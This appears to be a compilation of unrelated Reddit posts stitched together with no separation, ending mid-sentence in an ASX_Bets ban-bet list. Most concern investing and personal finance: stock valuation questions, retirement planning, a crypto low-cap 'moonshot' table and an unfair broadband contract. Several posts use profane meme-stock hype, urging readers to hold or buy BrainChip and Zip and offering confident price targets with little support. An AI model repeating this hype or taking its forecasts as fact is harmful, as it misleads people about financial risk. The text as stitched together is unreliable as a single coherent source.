Gurufocus.com, Tracktak.com, Macroaxis.com, and Alphaspread.com + +For example when I search for Pfizer on all 4 of these sites the outcome feels widely different. + +Gurufocus: **$33.80** + +Tracktak.com: **$29.82** - (11.26% CAGR, 25.26 Operating margin, 3 year convergence, 0.76 Sale to Cap ratio) + +Macroaxis.com: **$49.38** + +Alphaspread.com: **$65.79** + +Current price: **$48.72** + +These valuations feel a bit all over the place. How do you interpret this? +I'm eyeing three options to toss 10k into. Let me know your thoughts. + +Alibaba-high risk, high reward. They have solid books, alot of MOAT in their country and while China is going to a depression might be the perfect moment to get this cheap. + +Walgreens-slight risk, medium reward. They have pretty good books. I'm excited for their margins to increase as they add in person health care as part of their model. I think I can see a 30% return when the market rebounds. + +Trowe-very little risk, but little short term upside. If you know the company, you know how great they are. But they certainly won't explode at rebound. However they have a great dividend and iron clad Financials. + If so, how do you value these companies and asses bankruptcy risk? I imagine the returns are quite good on the escaping bankruptcy multiple expansion. +Hello everyone, + +&#x200B; + +I have been trading for quite some time now but I have recently made a switch to value investing. + +I have been looking at the Gordon Grown model and what I don't understand about it is why would my required rate of return influence in any way a company's intrinsic value. If anyone would be willing to clear it up for me / us I would be very grateful. [https://www.investopedia.com/ask/answers/032515/how-can-i-calculate-value-stock-gordon-grown-model-using-excel.asp](https://www.investopedia.com/ask/answers/032515/how-can-i-calculate-value-stock-gordon-grown-model-using-excel.asp) + +Also I am interested what do you guys use to calculate the intrinsic value of a company, I have been playing around with the DCF model as well but I do not trust any of them fully. + +&#x200B; + +Any answers much appreciated! +What stocks are on your radar this week? + +What's in the news that's affecting the market? + +Celebrate your successes, rue your losses, or just chat with your fellow Value redditors! + +*(New Weekly Megathreads are posted every Monday at 0600 GMT.)* +Beginner question. If this question doesn't even make sense, please help me understand why. When computing a DCF model, should I use net income EPS, EBIT EPS or EBITDA EPS? I'm guessing EBIT EPS should be more accurate than net income EPS since it gets rid of all those 1 of expenses/cash injections. But EBITDA for some companies can be upward of 1.3-1.4x EBIT. I'm not sure where this extra value is even reported in most income statements and if this actually dictates long term stock value. Can someone help me understand this? A real example for 1 quarter of a random company would be really helpful. +Hello. I watched ‘ The Big Short’ recently and I’ve been trying to understand how Michael Burry made so much money out of Credit Default swaps in the 2008 crash. I have done some research about the way Mortgage-backed securities are grouped and then divided into tranches, and so far it’s pretty clear to me that a CDS is sort of an insurance in the sense that a third party ensures (in exchange for premiums) that the credit will be payed if these default. What is not so clear to me is how Scion Capital was able to make such big margins on their investments through this method. If a trench of MBSs fail, wouldn’t the CDS simply cover the cost of the bond + interests that the firm payed for it? There must be something else that I am missing... +So, I signed up to community fibre. The sales rep said it was a 30 day free trial. He said after 2 weeks I should call him and he’d help be get out of my BT WiFi contract (I didn’t call him, I’m sticking with BT). He didn’t mention that there was a 14 day cooling off period (where I cancel for free) and 30 day free period. So it’s been almost 30 days and I’m not happy with the service, so I called to cancel and they said I’m liable to pay the cancellation fee to cover the 24 month period. What do I do?? Help please. + +Also they sent me an email saying my direct debit mandate couldn’t be set up. And I’ve checked with my bank that this is true. +A couple weeks ago I (22f) left my abusive ex with nothing but my 2.5 year old. I rented only car within my budget on Turo, delivered some groceries on instacart for money and extended the car another day. Did this for a few days and eventually saved enough to buy a cheap car - it couldn’t handle the cold. I rented a car on Turo again but we’ve been so snowed in I haven’t been able to drive the car around anywhere except the long term parking lot at the airport (where we’ve been sleeping). And it’s due back to the owner tomorrow who very reasonably said I couldn’t keep their car for free for another day. + +All of the shelters here are full. Here’s another plot twist, it’s against Instacart policy to shop with ANYONE else and because someone heard and REPORTED my kid crying in the car while I was unloading their groceries in the snow my account was deactivated. My long term plan was wait until august when my kid is old enough for preschool to get a full time job. I’m enrolled in a community college and should start class in January but I have no idea how I’m going to pay that fee. Phone bill overdue. I think I’ve got the flu. Just feels like the worst stroke of luck I’ve had in a long time. Hoping car owner changes their mind and let’s me hold on to it for one more day. +So my situation is i am 37, divorced with no kids and am determined to never marry again. + +I make 60,000 a year but live like a broke college student and save about 24,000 a year (basically live on half what i make). + +Assuming a reasonable return i am on course to retire at age 60 with 1.2 million. + +Additionally, my father is worth about 1.7 million and he has told me i will get all that wealth when he dies but i pretend like i wont because he could always remarry, and i have never seen anything in writing. I just tend to veiw anything he decides to leave me as a blessing but dont want to count on it. + +Regardless i am pretty confident i will have 1-3 million plus at age 60 through sheer sacrifice and probable inheritance. + +Here is where the dilemma arises... +Its very possible i could retire at 60 or possibly much earlier. However, when you run the numbers you see that working an additional 5-10 years leads to a massive increase in net worth during retirement (almost double) because not only are you adding additonal money to your retirement neat egg at top earning years, but because your still working your not drawing down (or living on the interest) of the savings. + +I guess thats why i dont understand why some people retire at 35 because even if i had 2 million right now and could enjoy a middle class income untill i die generated by that 2 million. + +I would much rather work till 55-60 or even 65 if im still enjoying it if it means i could spend my remaining years living in a 10 million penthouse overlooking south beach simply because i let that 2 milliom grow for 25 years while i worked instead of drawing down on it while i play video games and sleep for the next 2 decades. + +I prefer to be productive even though i dont have to work. + +Just wondering your thoughts on this? +I make $15/hr and live in Chicago, the average rent for a one bedroom or studio is around $800. After paying bills I'm left with very little and cant save. What do you do in this situation? Barely scraping by is a painful existence. + +Is this the case for anyone else? How much do you make/spend a month? Do you have any tips or advice for single people trying to survive? +Greetings CryptoMoonShots community! + +I have previously mostly concentrated my focus only into crypto projects which have mostly been in top 100 by market caps, with few exceptions. + +Although I have multiple times previously thought into looking at the projects which have very low market caps, I have never actually opened any positions. Now when market is slowly (hopefully) creeping out of the bear market or at least stabilizing somewhat, I believe there might be some stars of 2018 which have perhaps more reasonable pricing after the market pullback. I was thinking investing into some very low market cap, (very) high risk/ (very) high reward projects. + +I have actually placed some funds for that particular reason and want to open some positions in the coming week. +I know this question has been asked many times previously (I have gone through some previous topics and suggested projects), but last bear market has certainly opened up many new projects (few projects have also been abandoned) with good team, idea, project execution and reasonable pricing. + +There are many interesting projects with great future perspective but the amount is overwhelming and this is the reason I am hoping CryptoMoonShots community can help me and others reading this, by pointing towards the projects which have great idea, team, fair price and could have great growth potential in 2018 and beyond. + +I have personally thought about to differentiate between 2 kind of projects: + +1) About 5-10 projects, which would be below 10M market cap and would perhaps offer very high potential returns. Something basically, which have highest likelyhood to just dissapear and fail, but hopefully have also slight opportunity to gains x100. In current market condition, it is honestly difficult to imagine something x100, which is why this is basically investment, which is almost certainly lost investment, with a very slight pinch of opportunity. + +2) About 2-3 projects, which are between MC 10-25, which are somewhat less risky, opportunity for gains as high as x10. + + +Lots of thanks in advance! + +**EDIT:** +Thank you for all the answers! I made a quick mid overview of the projects that has been suggested so far, so it would be easier for people to look at. + +I thought i would also add upvotes that useres have given to specific comments/agreed on, not sure on the objectivity of this though. + +**EDIT2; updated the chart so it would be easier for readers to get approximate overview, as always DYOR** + +**EDIT3; Wanted to let you know, that i updated points, added few new suggestions by users. Out of curiosity also added percent MC change from 2 days back, which does not really show absolutely nothing on a longer time frame, but it is still fun to see the changes. + +Also wanted to mention (perhaps just in case someone is interested) i have already started opening high risk portfolio which will consist of mostly all of the suggested projects + will add some of which have not been mentioned here. I will weight this particular portfolio distribution based on my quick generalized research, this community suggestions/overviews and some other factors (Market cap, team/developer strength, project potential etc). Will be very interesting to monitor, how these particular projects evolve over the coming months and years. Again thank you very much everyone for your input, really appreciate it!** + +Project|Upvotes by users|Market Capitalization|MC from past 2 days|Reasons +:-----------------------|:----------------:|---------------------------------------:|---------------------------------------:|------------------------------------------------------------------:| +Masari (MSR)|24|1 130 000|51%|Monero fork, good team, lots of activity, low coin supply +Devery (EVE)|21|10 762 697|93,4%|Team holding news back, with JD has secured huge partnerships +Elixir (ELIX)|19|8 673 749|5,13|Beta APP on the way, amazing P2P lending and crowdfunding platform, will eventually add an FIAT Gateway +Lamden (TAU)|8|19 020 500|-1,02%|near-zero Tx fee, 10k TPS and big team of developers +Aeon (AEON)|7|29 380 094|11,69%| +Electrify (ELEC)|7|23 127 357|7,91%|OMG-advised, TEPCO MoU partnership, under the radar, only 2x in ETH since ICO +Xtrabytes (XBY)|6|30 536 923|16,60%|Code agnostic Dapps platform aiming for 10k+ txs +Flixxo (FLIXX)|3|8 800 304|14,07%|blockchain version of YouTube,currently priced $0,1, but reached almost $1 in the December hype, ambitious about taking some important content creators from YouTube +BountyOx (BNTY)|3|7 859 365|16,95%|with low cap and very good idea on how to do advertising that consumers and advertisers both win +TE-FOOD (TFD)|3|9 952 033|31,41%|very undervalue relatively speaking, working product, more partnerships announced, recenue of more than 300k last year etc +ETHLend (LEND)|3|67 325 142|6,65%| +SALT (SALT)|3|164 397 813|16,58%| +Nuls (NULS)|3|90 830 400|13,05%| +Bluzelle (BLZ)|3|80 474 790|8,81%| +Republic Protocol (REN)|3|34 308 298|4,13%| +WandX (WAND)|2|1 054 045|11,89%| +Verify (CRED)|2|2 698 865|11,43%| +OxBitcoin(OxBTC)|2|250 000|20%| +Snatcoin ()|2||| +Turtle Coin (TRTL)|2|||Anonymous, no pre mine, active developers, currently sitting at 1 Satoshi +Everex (EVX)|1|20 387 400|15,1%| + + + +So I need the bottom and first floor windows redoing as they are all beaded from the outside, leak something shocking, most blown etc as well as a new back door. Got in touch with 5 companies, 3 indys and 2 nationals (Everest and Safestyle) latter two arriving yesterday to put in a quote, indys will be booked in when they have availability. + +The downright rip off practices they used though were diabolical the whole 9 yards of phoning managers, this is the best we can do today only and if you book straight away, what will it take to do a deal here and so on despite being told that I am getting multiple quotes and nothing will be booked in before then. It was the prices that got me though one started at £8500 and was then dropped to £4330, the other for the exact same spec, install scaffolding and so on started at £17995 and dropped to £7990. Clearly there is still profit to be made at the lower prices and this is before I get any of the calls from area managers and suchlike with even more which I would no doubt have to endure. + +I guess my point is how on earth is this not more regulated against profiteering?! I bet those wouldn't have dropped for some poor old dear and they would end up paying so many thousands over the odds its sickening as a prospect from companies that are some of the biggest in the game and seem to pride themselves on such glowing reviews. Can we really still be stuck in the 'White Gold' days? + +TLDR: National double glazing firms seem to be profiteering devil spawn and we need to look out for their potential preying on the vulnerable, or have I missed a trick? + +Over the past week I've been thinking at which point I'm gonna sell, at times thinking to myself 10k, maybe even less just to be safe and take easy profits, all while calling myself "diamond hands" thinking that's the peak. + +But fear not! I am no longer a fraud and have since invested even more while also smoothing out the wrinkles in my brain and and unleashed the retard ape within me 🦍🦍🦍🦍 + + However what I realize is that if I thought this, there's bound to be more shitheads out there with the same mindset. I know this has been said countless times but this is the opportunity of a lifetime. For all those that paperhand at 1k, 10k , 20k, fuck you. You may make enough money to be happy for a year, some of you may never even even have to work another day in your life, but if you ride this shit out, ALL of us will be set, you, your children, even your grandchildren. If you fucking paperhand you're doing exactly what the hedgies want, all you're doing is sucking on the balls of the people who fucked us in 08, the more you hold the more we are tugging the balls right out those cunts until they're left with nothing but pennies to their name and saggy lump of skin between their legs. + +You can be a bitch and paper hand this 4 or 5 digits, or you can stick to your word and ride this shit to the moon 🚀 🚀🚀🚀🚀 + +Hedgies WEAK! +Ape together STRONG!! 🦍🦍🦍💪💪💪 + +This is not financial advice. +We recently sold our larger house and are in the process of downsizing as we will be empty nesting soon. I’m (mid-40’s) curious what other folks experiences have been in downsizing. How did your cost saving plans work out? How much did it cost you to make the transition? What was your experience in adapting to a “smaller” lifestyle? Did you pay off the smaller house right away or did you invest? + +Currently I figure it will add about $1k more a month in cash flow to our bottom line, with most of it going to savings and some funding additional travel. However the transition costs are not insignificant in terms of moving, storage, time. + +House wise, we are going from ~$600k house and ~3200 sq ft to something like $350k and 2400 sq ft. Most of the money from the sale will be rolled into the down payment, however we are looking hard at pulling some out to invest elsewhere. We are in MCOL. +[https://amp.afr.com/news/economy/monetary-policy/rba-s-plea-to-avoid-zero-interest-rates-20190809-p52fkj](https://amp.afr.com/news/economy/monetary-policy/rba-s-plea-to-avoid-zero-interest-rates-20190809-p52fkj) +I am trying to collect data from websockets for various assets here and more often than not, I get disconnected. I understand this is how connections usually work and the best of them disconnect at some time. + +* Getting disconnected for even a minute would mean volume data would be incorrect on all major timeframes especially if you are building those timeframes from 1m data + +Some techniques that I am aware of but would appreciate some direction + +1. Ignore the gap (obviously the worst idea) +2. Use REST API polling in parallel with a different proxy address to silently backfill data upto the last minute +3. Store the final candles directly into a database and run an SQL query every minute to find gaps (frequency a bit too high perhaps?) +4. Store the final candles of each minute into a Python dictionary where key is the asset, value is a list. Each time you add an item to the list, run a for loop to find gaps in timestamp and add those gaps to a queue to poll their data via REST API (slightly complicated but robust?) +5. Anything I am missing? + +Some direction is appreciated +Last week I’m sure I saw a $9/month option for unlimited, real-time market data. But now all I can see is $99/month..? Am I missing something? Has it changed? Thanks! +I’m 17 years old and I don’t own a car. My gf and all my friends always have to drive me around and I feel bad. My gf is kind of sick of it, because obviously it’s annoying to have to pick up your bf all the time and I can’t really take her out on a real date she basically does 💀. I’m still in high school too so my friend has to pick me up everyday and then drive me home. I have a job but i’ve been saving about 70-90% of my paycheck and putting it into stocks. I have about $1300 right now but with the current used market you can’t really find anything half decent for less than $2500-3000. Would it be smart to sell my stocks for a car? Or should I just suck it up and keep mooching rides off people? +No that title is not (complete) clickbait . NASA recently announced a $51 million investment into [small businesses](https://sbir.nasa.gov/) for 2020. These include 312 businesses and 409 technology proposals. Now what companies and proposals might those be? Well let me tell you motherfuckers. + +One of the proposals from the [firm list](https://sbir.nasa.gov/prg_selection/node/63001) of phase one selection is from Tensor Innovative Solutions, with the proposal name: **Scalable Neural Net and Neuromorphic Module for In-Space Autonomous Orientation and Maneuvering.** Sounds pretty hectic right? I encourage you to read the whole thing but some particular points of interest. + +> **Taking advantage of our** **previous experience in the areas of neural modelling and advanced automation algorithms** **we are proposing a deep neural net and in-space autonomy and cognition systems neuromorphic processing module for this solicitation. , we can design autonomy Using the COTS** ***The BrainChip, Inc. Akida with fully configurable neural processing cores and scalable neural nets and artificial cognition capabilities*** ***for our prototype CubeSat that will be*** ***scalable to any space vehicle*****.** +> +> +> +>**The possibilities and applications are practically limitless across a spectrum of mission types.  Short list of the possibilities: Predictive and adaptive communications, radio, and system architecture, Opportunistic data collection, Continuous power allocation, Predictive failure/error detection, maintenance, mediation, and mitigation, Mission decision prioritization,Spacecraft constellation active collaboration optimizing, Continuous allocation optimization of system resources, Optimized integration of navigation, situation awareness, etc.** + +So basically, Tensor already been selected and negotiations are taking place to literally put Brainchip technology in space, scaleable to *ANY* space vehicle. With Brainchip being the worlds only pure-play AI neural processor company at the moment, and in the lead in terms of AI technology and development, if you're still not in at this point I would definitely ask you why the fuck not. This isn't some crappy pump and dump penny stock. This is a company run by visionary's (I mean they just hired Barry Marshal to expand into the AI medical field, the guy who won a nobel prize in medicine for his revolutionary work on ulcers) that is in position to be the world leader of a completely new and revolutionary technology that can span into any field and industry. Don't think that because it went up 30% today you missed your chance, this rocket is only getting started baby. + +Note: This NASA article is about a month old, so don't expect the stock to go up from this news in particular, but moreso take confidence in the increased confidence and credibility gained from a NASA deal. The test results from the completed chip are due any day now and once they are.... all systems are go. +SZL just announced its “underlying merchant sales (UMS) surged 231.2 per cent to $US22.1 million for the September quarter, versus the prior corresponding quarter.” - AFR. + +Zip will no doubt follow suit with its quarterly report expected next week or the week after. Particularly with the AFR reporting QuadPay is likely to be the fastest growing buy now, pay later business in the US in Q1 FY 2021. + +Analysts have expected 360% YoY growth for Quadpay based on internet traffic, app download data and Quadpay’s active merchant sales pipeline. Again this is consistent with Sezzle’s report so it’s what I’m expecting as well. + +Technicals for Zip remain extremely strong. None of you dumb fucks can tell me otherwise. + +There will no doubt be a temporary drop after Zip hits the $8 mark, with a few paper handed cucks taking their profits. Zip will recover within a day and will start climbing to $9, where we’ll probably see another temporary drop. If we diamond hand this thing, we’ll be looking at a sweet sweet Christmas 🎄 + + +But once again, I’m just a dumb motherfucker on the Internet 🤷‍♂️ +Partners family is doing a thing where we all pick 5 stocks. the person who gets the most collective growth by the end of fy wins. + +I just want to wow. Help me pick 5 pls. +This stock was pumped and dumped hard after listing but I've done 3 minutes of research and think it will be worth a dollar before EOY and the objective non-biased scholars over at hotcopper seem to agree. I feel like a savant buying an undervalued long term stock for once instead of riding hype trains. +That is all. + +See you in 6 months for the r/agedlikemilk tag. +Well, Degenerates, looks like that's it for another year, but for some of you, it's only the beginning as you start your journey to being Plucky's play toys. + +&#x200B; + +&#x200B; + +**UPDATES** + +The Christmas Rally [was a lie](https://www.reddit.com/r/ASX_Bets/comments/zq56gr/what_happened/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +[Recession looms](https://www.reddit.com/r/ASX_Bets/comments/zmjace/lets_fcking_goooo/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/Bigjimbeef and u/Mutated_Cunt the time has come to settle your [pizza wager](https://www.reddit.com/r/ASX_Bets/comments/rve9m0/comment/hr4ztgf/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- [u/cheesecakeok4547](https://www.reddit.com/u/cheesecakeok4547/) won [their pizza](https://www.reddit.com/r/ASX_Bets/comments/u0flt5/comment/i45iy7b/?utm_source=share&utm_medium=web2x&context=3) bet + +&#x200B; + +\- u/hms--beagle promise date came due but conditions weren't met so they're [off the hook for this](https://www.reddit.com/r/ASX_Bets/comments/wpeusx/comment/ikgfg1h/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/mobile-rice-8889 has won their [1-month ban](https://www.reddit.com/r/ASX_Bets/comments/wy356k/comment/im3aaul/?utm_source=share&utm_medium=web2x&context=3) bet + +&#x200B; + +\- u/AltruisticCurtains has won their bet [with a pretty impressive call](https://www.reddit.com/r/ASX_Bets/comments/xrvkqm/comment/iqpr34n/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- [u/Nevelo](https://www.reddit.com/u/Nevelo/) won their [gold bug bet](https://www.reddit.com/r/ASX_Bets/comments/ylrck7/comment/iv4fvel/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/powerbottombear92 won their [opposite side bet](https://www.reddit.com/r/ASX_Bets/comments/zfgtbm/comment/izdhsym/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +&#x200B; + +**NEW BETS** + +\- u/Big_Package2650 bet **VML** to end green or a [1-week ban](https://www.reddit.com/r/ASX_Bets/comments/zgelvw/comment/izi1nhf/?utm_source=share&utm_medium=web2x&context=3). That's a new year new ban for you. + +&#x200B; + +\- u/Upset-Veterinarian11 **WR1** to close greater than or equal to **$2.1** on 25/01 or [one-month ban](https://www.reddit.com/r/ASX_Bets/comments/zl9nof/comment/j04cimj/?utm_source=share&utm_medium=web2x&context=3). Enjoy the forced break. + +&#x200B; + +\- u/TrampSwaps bet the US fed to raise rates 0.75% or 1 week in the [Gloryhole box](https://www.reddit.com/r/ASX_Bets/comments/zlk836/comment/j066d12/?utm_source=share&utm_medium=web2x&context=3). Enjoy your week of failure. + +&#x200B; + +\- u/Crumpy88 bet on a green **XAO** Friday. That's a [1 week's](https://www.reddit.com/r/ASX_Bets/comments/zm4szl/comment/j0ad16a/?utm_source=share&utm_medium=web2x&context=3)[ ban](https://www.reddit.com/r/ASX_Bets/comments/zm4szl/comment/j0ad16a/?utm_source=share&utm_medium=web2x&context=3) for you. + +&#x200B; + +\- u/hades086 has bet **RNU** to be above **23.5c** by the end of the year or a [2-week ban](https://www.reddit.com/r/ASX_Bets/comments/zmyuhx/comment/j0f7e74/?utm_source=share&utm_medium=web2x&context=3). Looks like a lonely start to the new year for you. + +&#x200B; + +\- u/kangaroute bet **PEN** to touch **.165** by the end of Monday 19th or a [week away](https://www.reddit.com/r/ASX_Bets/comments/zmyuhx/comment/j0fc8er/?utm_source=share&utm_medium=web2x&context=3). Enjoy the break. + +&#x200B; + +\- u/rsoule878 bet **MAY** hit **8c** by 23 Dec or a [month away](https://www.reddit.com/r/ASX_Bets/comments/zmyuhx/comment/j0fd4l7/?utm_source=share&utm_medium=web2x&context=3). You'll be missed. + +&#x200B; + +\- u/BuiltDifferant bet the **XJO** to finish above **7300** by Friday 23rd close or a [6-month ban](https://www.reddit.com/r/ASX_Bets/comments/zn8jtr/comment/j0nc6fv/?utm_source=share&utm_medium=web2x&context=3). Plucky will be pleased with a new semi-permanent plaything. + +&#x200B; + +\- u/Joey333 bet **IVZ** goes red on no news or a [1-week ban](https://www.reddit.com/r/ASX_Bets/comments/zosh7r/comment/j0rbx40/?utm_source=share&utm_medium=web2x&context=3). It went red however there was news, so that's another failed IVZ bet for you. + +&#x200B; + +\- u/Moon-Runner called **IVZ** to be the most mentioned stock or [1-week ban](https://www.reddit.com/r/ASX_Bets/comments/zosh7r/comment/j0rbi8f/?utm_source=share&utm_medium=web2x&context=3). Nicely played. + +&#x200B; + +\- u/donkeyswan44 has bet **MAY** to touch **15c** by March 7th. If it doesn't, then they'll be banned for a month each cent is short from the [close price](https://www.reddit.com/r/ASX_Bets/comments/zparnp/comment/j0tdvau/?utm_source=share&utm_medium=web2x&context=3) on march 7th. + +&#x200B; + +\- u/fruityboy has made a double mod and **HVY** inactivity [lost 1](https://www.reddit.com/r/ASX_Bets/comments/zparnp/comment/j0tabpn/?utm_source=share&utm_medium=web2x&context=3) winning 1. that works out at 2 weeks for you. + +&#x200B; + +\- u/px1999 made a [complicated bet](https://www.reddit.com/r/ASX_Bets/comments/zr2as5/comment/j11f287/?utm_source=share&utm_medium=web2x&context=3) on **IVZ** announcement and timing. No discovery announcement however means no ban. + +&#x200B; + +\- u/Tbone_85 bet a month ban that **VML** would be positive at the [end of the day](https://www.reddit.com/r/ASX_Bets/comments/zsf8mg/comment/j17ru3v/?utm_source=share&utm_medium=web2x&context=3). See you in Feb. + +&#x200B; + +\- u/moon-runner bet **IVZ $1** by the 30th or [1-month ban](https://www.reddit.com/r/ASX_Bets/comments/zszbhk/comment/j1au4on/?utm_source=share&utm_medium=web2x&context=3) with an [extra week](https://www.reddit.com/r/ASX_Bets/comments/zszbhk/comment/j1aut80/?utm_source=share&utm_medium=web2x&context=3) for most mentioned. See you in Feb. + +&#x200B; + +\- u/G7gotitwrong bet **IVZ** less than **0.1** by the end of the year or [2-month ban](https://www.reddit.com/r/ASX_Bets/comments/zszbhk/comment/j1bd3bz/?utm_source=share&utm_medium=web2x&context=3). See you for \~\~March Madness.\~\~ [upgraded to Perma](https://www.reddit.com/r/ASX_Bets/comments/ztaojw/comment/j1hjqc9/?utm_source=share&utm_medium=web2x&context=3)[ ban](https://www.reddit.com/r/ASX_Bets/comments/ztaojw/comment/j1hjqc9/?utm_source=share&utm_medium=web2x&context=3). It's been nice knowing you. + +&#x200B; + +\- u/jamesd328 bet **IVZ** nonpositive announcement or a [week's holiday](https://www.reddit.com/r/ASX_Bets/comments/zsvf0m/comment/j1bs58q/?utm_source=share&utm_medium=web2x&context=3). + +\- u/Mobile_Community8561 took the [opposite side](https://www.reddit.com/r/ASX_Bets/comments/zsvf0m/comment/j1bst7t/?utm_source=share&utm_medium=web2x&context=3) and will serve the week. + +&#x200B; + +\- u/SacredEmuNZ bet on an **IVZ** Christmas discovery or a ban. that's [3 months](https://www.reddit.com/r/ASX_Bets/comments/zu46ue/comment/j1keuux/?utm_source=share&utm_medium=web2x&context=3) for you. + +&#x200B; + +\- u/catch-10110 bet **IVZ** closes red or two weeks [vacation](https://www.reddit.com/r/ASX_Bets/comments/zx30nn/comment/j211irh/?utm_source=share&utm_medium=web2x&context=3). nicely done. + +&#x200B; + +\- u/infntie the last bet in the bans post for 2022 has bet LKE to touch $1 by the end of march or a month in the [banned lands](https://www.reddit.com/r/ASX_Bets/comments/zyj4pl/comment/j27ekd5/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +&#x200B; + +**SPORTSBALL BETS** + +\- u/Lethologica bet France to win the soccer or a [1 week's](https://www.reddit.com/r/ASX_Bets/comments/zor3dt/comment/j0onjr6/?utm_source=share&utm_medium=web2x&context=3)[ ban](https://www.reddit.com/r/ASX_Bets/comments/zor3dt/comment/j0onjr6/?utm_source=share&utm_medium=web2x&context=3) + +\- u/Esquatcho_Mundo joined in on the [same bet](https://www.reddit.com/r/ASX_Bets/comments/zor3dt/comment/j0onzbz/?utm_source=share&utm_medium=web2x&context=3). That's a week for you both. + +&#x200B; + +\- u/kakapo1204 bet Mbappe to score 2 or more goals or a [2-week ban](https://www.reddit.com/r/ASX_Bets/comments/zosh7r/comment/j0p4r4v/?utm_source=share&utm_medium=web2x&context=3). Nice call. + +&#x200B; + +\- u/SunkDestroyer bet Argentina to win or [2 weeks of ](https://www.reddit.com/r/ASX_Bets/comments/zosh7r/comment/j0p6kvt/?utm_source=share&utm_medium=web2x&context=3)[detention](https://www.reddit.com/r/ASX_Bets/comments/zosh7r/comment/j0p6kvt/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +&#x200B; + +**BANS** + + – [u/chicken\_sweat](https://www.reddit.com/u/chicken_sweat/) avoided a ban with the [first part](https://www.reddit.com/r/ASX_Bets/comments/xnh61i/comment/ipwfh0n/?utm_source=share&utm_medium=web2x&context=3) however [this amendment](https://www.reddit.com/r/ASX_Bets/comments/z46o60/comment/ixpqg5e/?utm_source=share&utm_medium=web2x&context=3) will see them banned for a considerable amount of time. (72 weeks at writing) + +&#x200B; + +\- u/blisser_the_sniff will take a month after failing the third leg of their [trifecta](https://www.reddit.com/r/ASX_Bets/comments/yvpk2l/comment/iwfup6t/?utm_source=share&utm_medium=web2x&context=3). + +&#x200B; + +\- u/Technical_Shower_157 will have a [month off](https://www.reddit.com/r/ASX_Bets/comments/zekq8t/comment/iz7rkdp/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/Sufficient_Guess2732 will serve a [month's ban](https://www.reddit.com/r/ASX_Bets/comments/za2rmu/comment/iyki4ch/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/a380-king will become Plucky's play toy for their month in the [hole](https://www.reddit.com/r/ASX_Bets/comments/z8kdsf/comment/iyc864u/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/FrankMRedington you will be missed after the time has come for your [Perma Ban](https://www.reddit.com/r/ASX_Bets/comments/s3m0t5/comment/hsorikl/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/wannaliveinpenthouse will take 1 month for going [full bear](https://www.reddit.com/r/ASX_Bets/comments/tbbaa3/comment/i071ayh/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/sprinonindip will a [have a month alone](https://www.reddit.com/r/ASX_Bets/comments/wiad13/comment/ijaugnn/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/sugeknight_standover will serve a month for their **GL1** **$1B MC** bet + +&#x200B; + +\- u/lucky_particular8130 will serve a [69-month ban](https://www.reddit.com/r/ASX_Bets/comments/ty82e4/comment/i3qvdmv/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + + \- [u/onthepunt](https://www.reddit.com/u/onthepunt/) will serve [a 6-month](https://www.reddit.com/r/ASX_Bets/comments/u0flt5/comment/i47s4ez/?utm_source=share&utm_medium=web2x&context=3)[ ban](https://www.reddit.com/r/ASX_Bets/comments/u0flt5/comment/i47s4ez/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/qwertyiantne will take a forever ban [for their failure](https://www.reddit.com/r/ASX_Bets/comments/u99bqa/comment/i5qkj6u/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/doomkoon4648 will take a 5-month ban [oh hindsight.](https://www.reddit.com/r/ASX_Bets/comments/wcji0e/comment/iicyd12/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/stunning_blackberry will start their [Perma ban](https://www.reddit.com/r/ASX_Bets/comments/x1d5l9/comment/imd3tv8/?utm_source=share&utm_medium=web2x&context=3). + +&#x200B; + + \- u/WeatherOutside will have a [month's ban](https://www.reddit.com/r/ASX_Bets/comments/xbcpp9/comment/inyrtly/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- [u/drsheeply](https://www.reddit.com/user/drsheeply) will have a [69-day ban](https://www.reddit.com/r/ASX_Bets/comments/xbxknc/comment/io2faz1/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/Mutated_Cunt will serve a 3-month[ ban](https://www.reddit.com/r/ASX_Bets/comments/xeh7mi/comment/ioguey3/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- [u/dancingbeavers](https://www.reddit.com/u/dancingbeavers/) will serve 2 months for their failed [multi bet](https://www.reddit.com/r/ASX_Bets/comments/vh81k7/comment/id87ktl/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/Mitchuation will serve [2 weeks](https://www.reddit.com/r/ASX_Bets/comments/y3l4xe/comment/isa4wkc/?utm_source=share&utm_medium=web2x&context=3) losing the inverse of [u/AltruisticCurtains](https://www.reddit.com/u/AltruisticCurtains/)' bet [here](https://www.reddit.com/r/ASX_Bets/comments/xrvkqm/comment/iqpr34n/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- [u/Yoyololbbb](https://www.reddit.com/u/Yoyololbbb/) has lost their bet and will serve [6 weeks](https://www.reddit.com/r/ASX_Bets/comments/xmlt0g/pls_to_750_or_ban_me/?utm_source=share&utm_medium=web2x&context=3) + +\- u/PM_me_ur_bingo_nos will also serve 6 weeks for [joining in](https://www.reddit.com/r/ASX_Bets/comments/xmlt0g/comment/ipp49dx/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/maximumgirth343 has lost their first ban bet and will serve a [3-week ban](https://www.reddit.com/r/ASX_Bets/comments/ydrebm/comment/itwppsl/?utm_source=share&utm_medium=web2x&context=3) ( ICT consolidating update bet to $1.50 by NYE) + +&#x200B; + +\- [u/A\_Anderson151](https://www.reddit.com/u/A_Anderson151/) lost their 